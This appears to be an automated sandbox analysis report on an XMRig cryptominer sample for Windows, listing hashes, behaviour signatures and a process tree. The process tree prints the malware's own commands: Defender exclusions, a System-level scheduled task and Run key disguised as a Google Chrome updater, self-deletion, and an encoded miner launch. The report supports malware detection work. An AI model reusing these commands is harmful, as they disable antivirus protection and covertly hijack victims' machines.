xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
438s
max time network
1797s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1784 created 1136	1784	6aNn9vLJCQVfagSE.exe	8
PID 1784 created 1136	1784	6aNn9vLJCQVfagSE.exe	8
PID 1784 created 1136	1784	6aNn9vLJCQVfagSE.exe	8
PID 1784 created 1136	1784	6aNn9vLJCQVfagSE.exe	8
PID 2748 created 1136	2748	updater.exe	8
PID 2748 created 1136	2748	updater.exe	8
PID 2748 created 1136	2748	updater.exe	8
PID 2748 created 1136	2748	updater.exe	8
PID 2028 created 1136	2028	conhost.exe	8
PID 2748 created 1136	2748	updater.exe	8

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral2/memory/2408-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral2/memory/2408-142-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2588	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2748	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1276	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2408-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral2/memory/2408-142-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2748 set thread context of 2028	2748	updater.exe	52
PID 2748 set thread context of 2408	2748	updater.exe	46

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	6aNn9vLJCQVfagSE.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2840	schtasks.exe
2136	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1956	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0560425b14fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1784	6aNn9vLJCQVfagSE.exe
1784	6aNn9vLJCQVfagSE.exe
2708	powershell.exe
1784	6aNn9vLJCQVfagSE.exe
1784	6aNn9vLJCQVfagSE.exe
2452	powershell.exe
1784	6aNn9vLJCQVfagSE.exe
1784	6aNn9vLJCQVfagSE.exe
1784	6aNn9vLJCQVfagSE.exe
1784	6aNn9vLJCQVfagSE.exe
2580	powershell.exe
2748	updater.exe
2748	updater.exe
1592	powershell.exe
2748	updater.exe
2748	updater.exe
2176	powershell.exe
2748	updater.exe
2748	updater.exe
2748	updater.exe
2748	updater.exe
2028	conhost.exe
2028	conhost.exe
2748	updater.exe
2748	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2748	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1956	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1956	WMIC.exe
Token: SeSecurityPrivilege	1956	WMIC.exe
Token: SeTakeOwnershipPrivilege	1956	WMIC.exe
Token: SeLoadDriverPrivilege	1956	WMIC.exe
Token: SeSystemtimePrivilege	1956	WMIC.exe
Token: SeBackupPrivilege	1956	WMIC.exe
Token: SeRestorePrivilege	1956	WMIC.exe
Token: SeShutdownPrivilege	1956	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1956	WMIC.exe
Token: SeUndockPrivilege	1956	WMIC.exe
Token: SeManageVolumePrivilege	1956	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1956	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1956	WMIC.exe
Token: SeSecurityPrivilege	1956	WMIC.exe
Token: SeTakeOwnershipPrivilege	1956	WMIC.exe
Token: SeLoadDriverPrivilege	1956	WMIC.exe
Token: SeSystemtimePrivilege	1956	WMIC.exe
Token: SeBackupPrivilege	1956	WMIC.exe
Token: SeRestorePrivilege	1956	WMIC.exe
Token: SeShutdownPrivilege	1956	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1956	WMIC.exe
Token: SeUndockPrivilege	1956	WMIC.exe
Token: SeManageVolumePrivilege	1956	WMIC.exe
Token: SeLockMemoryPrivilege	2408	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2840	2452	powershell.exe	32
PID 2452 wrote to memory of 2840	2452	powershell.exe	32
PID 2452 wrote to memory of 2840	2452	powershell.exe	32
PID 2588 wrote to memory of 2468	2588	cmd.exe	34
PID 2588 wrote to memory of 2468	2588	cmd.exe	34
PID 2588 wrote to memory of 2468	2588	cmd.exe	34
PID 2580 wrote to memory of 1240	2580	powershell.exe	35
PID 2580 wrote to memory of 1240	2580	powershell.exe	35
PID 2580 wrote to memory of 1240	2580	powershell.exe	35
PID 1276 wrote to memory of 2748	1276	taskeng.exe	40
PID 1276 wrote to memory of 2748	1276	taskeng.exe	40
PID 1276 wrote to memory of 2748	1276	taskeng.exe	40
PID 2176 wrote to memory of 2136	2176	powershell.exe	53
PID 2176 wrote to memory of 2136	2176	powershell.exe	53
PID 2176 wrote to memory of 2136	2176	powershell.exe	53
PID 2748 wrote to memory of 2028	2748	updater.exe	52
PID 2044 wrote to memory of 1956	2044	cmd.exe	47
PID 2044 wrote to memory of 1956	2044	cmd.exe	47
PID 2044 wrote to memory of 1956	2044	cmd.exe	47
PID 2748 wrote to memory of 2408	2748	updater.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1136
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2840
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2136
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2408
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2016
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2044
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2028

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2468

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1240

C:\Windows\system32\taskeng.exe
taskeng.exe {6FD94EF4-6CC1-447C-84D6-61B43637D170} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1276
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2748

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.1MB

MD5
1b88b1f7afceeea77fc29ff756662416

SHA1
c6a14a124c28fe932d2eecda5dd82e6326b45668

SHA256
572bfec90c4bd9a5198e2c487c7939fe5f4b5de4250d4afc246b9b0e25be673d

SHA512
d88e473cfc09bebccdd0cc19443c5acdaf3c8eb34f65a7813b24b3010f32e6fb5f6d60fbc30157b2be45a441a025262d03cc6a6f6095845cd5cb370edd2aeb3f

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
244KB

MD5
d5bd0b80bd4c4d50ed103ac7b20e2b4a

SHA1
ef11bd624678906c44f0888ac8ee6fa70f26506e

SHA256
645f8061c536e96e0693acc212aa0f96759e8ef8d717dcb853e8a40fac83934a

SHA512
8d1aef4da56ac8f06d7dfcca430d014e7b453aa72e36759d8ac31ac71ea7901f86417489859de24fdadff67b72f29f203eb78d75488e665fd6def2978378934d

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5c9c9f3d64aacac391446e24aae43593

SHA1
4fcf8438f0f8b04cdcb9027012c87720f10944e7

SHA256
2b06e9bb788be6cce17f4c93c0d2de93ebe766d2253fe78d205e2cb7e14cc710

SHA512
9fdf800512a32e02cf8e82221df03e54301e8d43030f16c8512d19dc09fdcf27b553615d8fb9e23c1c0818c1d11b54a36a0ff49918e393874b387a97b5d8ef5d

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
941KB

MD5
4118fd9ca9d9c3fcdd98f030bc902e21

SHA1
c8f902ee2e15cbb99ff74f841d212020b0dfecaa

SHA256
e75ba4dbbfd69f2d7a43340fffd31d32a2b461cd6c90c1c063dd6d369eeff91b

SHA512
29bf70efe0a5719dc30000d8b3b88b34471b874b731957bf38abef42e1edf6c5edc0ae62b597d80d98bb7be0e87b21b239838cca295c9e8e39428b81ae29ef2d

Download Submit
memory/1592-48-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/1592-50-0x0000000000920000-0x00000000009A0000-memory.dmp

Filesize
512KB

Download
memory/1592-47-0x0000000000920000-0x00000000009A0000-memory.dmp

Filesize
512KB

Download
memory/1592-51-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/1592-49-0x0000000000920000-0x00000000009A0000-memory.dmp

Filesize
512KB

Download
memory/1592-46-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/1784-29-0x000000013F090000-0x000000013F2A1000-memory.dmp

Filesize
2.1MB

Download
memory/1784-0-0x000000013F090000-0x000000013F2A1000-memory.dmp

Filesize
2.1MB

Download
memory/2028-68-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2028-74-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2176-56-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-55-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/2176-52-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-54-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-53-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/2408-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-142-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-140-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-138-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-65-0x00000000002D0000-0x00000000002F0000-memory.dmp

Filesize
128KB

Download
memory/2408-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-66-0x0000000000820000-0x0000000000840000-memory.dmp

Filesize
128KB

Download
memory/2408-67-0x0000000000920000-0x0000000000940000-memory.dmp

Filesize
128KB

Download
memory/2408-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2408-72-0x0000000000820000-0x0000000000840000-memory.dmp

Filesize
128KB

Download
memory/2408-73-0x0000000000920000-0x0000000000940000-memory.dmp

Filesize
128KB

Download
memory/2408-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2452-21-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/2452-19-0x000000001B4B0000-0x000000001B792000-memory.dmp

Filesize
2.9MB

Download
memory/2452-24-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2452-20-0x0000000002080000-0x0000000002088000-memory.dmp

Filesize
32KB

Download
memory/2452-25-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2452-22-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2452-23-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/2452-27-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/2452-26-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2580-38-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
